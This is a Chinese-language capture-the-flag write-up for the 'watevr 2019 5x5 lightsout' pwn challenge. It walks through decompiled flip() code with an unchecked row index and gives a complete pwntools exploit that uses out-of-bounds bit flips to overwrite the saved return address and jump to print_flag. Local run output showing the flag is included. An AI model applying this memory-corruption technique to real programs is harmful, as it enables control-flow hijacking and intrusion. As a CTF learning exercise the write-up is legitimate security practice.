远程未成功
外国题思路有些不同,这是个翻板游戏,每个字节为一表示一行,每字节8位表示8列,每给定一个(x,y)就反转这个格和上下左右格(有上下边界)
先看下代码:
_BYTE *__fastcall flip(__int64 ptr_s, int a2)
{
_BYTE *result; // rax
int v3; // [rsp+14h] [rbp-Ch]
char v4; // [rsp+18h] [rbp-8h]
int v5; // [rsp+1Ch] [rbp-4h]
v4 = a2 & 0xF; // x <16
v3 = a2 >> 4; // y 越界
if ( a2 >> 4 > 0 ) // 上方 >0 处理上方1个格
*(_BYTE *)(v3 - 1LL + ptr_s) ^= 1 << v4;
LOBYTE(v5) = 3;
if ( (a2 & 0xF) != 0 )
v5 = 7 << (v4 - 1);
result = (_BYTE *)(v3 + ptr_s);
*result ^= v5;
if ( v3 <= 14 ) // 下方 <=14时处理下方1个格
{
result = (_BYTE *)(v3 + 1LL + ptr_s);
*result ^= 1 << v4;
}
return result;
}
v3表示行,显然对行的下界没限制,这样可以向下越界,题目给出print_flag函数,只要把原来的返回地址0x400b6c翻翻翻,翻成0x400737即可
由于越界后都大于14,所以只异或本行的3位(边界为2位)和上一行(字节)的1位
from pwn import *
p = process('./pwn')
#p = remote('node4.buuoj.cn',29000)
#gdb.attach(p, 'b*0x400939')
p.sendlineafter(b'Press enter to run M-x 5x5',b'')
p.sendlineafter(b'Board size (1 to 8)?',b'1')
'''
0016| 0x7fffc97cde60 --> 0x400e1a ("Press enter to run M-x 5x5")
0024| 0x7fffc97cde68 --> 0x100000501
0032| 0x7fffc97cde70 --> 0x7f6600000050
0040| 0x7fffc97cde78 --> 0x1
0048| 0x7fffc97cde80 --> 0x7fffc97cde88 --> #*s->v6
0056| 0x7fffc97cde88 --> 0x7fd3383c6100 --> #v6
0064| 0x7fffc97cde90 --> 0x7fffc97cdeb0 --> #rbp
0072| 0x7fffc97cde98 --> 0x400b6c <-------0x400b6c -> 0x400737
'''
#print_flag 0x400737
#main_ret 0x400b6c +16
#
offset = 8*2
sor = list(p64(0x400b6c))
tar = list(p64(0x400737))
sor.append(0)
mask= [3,7,7<<1,7<<2,7<<3,7<<4,7<<5,3<<6]
m2 = [1,2,4,8,16,32,64,128]
for i in range(8):
for j in range(8):
if (((sor[i]^tar[i])>>j ) & 1) != 0:
sor[i+1] ^= mask[j]
#sor[i] ^=m2[j]
p.sendlineafter(b'[f <x> <y>/h/q]:',f'f {j} {offset+i+1}'.encode())
p.sendlineafter(b'[f <x> <y>/h/q]:',b'q')
p.recv()
p.interactive()
运行后会跳到print_flag打印出测试flag
~/buuctf/394_watevr_2019_5x5_lightsout$ py b.py
[+] Starting local process './pwn': pid 1142836
[*] Switching to interactive mode
here you go: watevr{maybe_well_implement_M-x_tetris_some_day}[*] Got EOF while reading in interactive
$
按理说,这种程序本地和远程库基本相同,不应该加载的位置不同,但远程根本对不上号。估计是Docker里的东西和下载的程序有差异。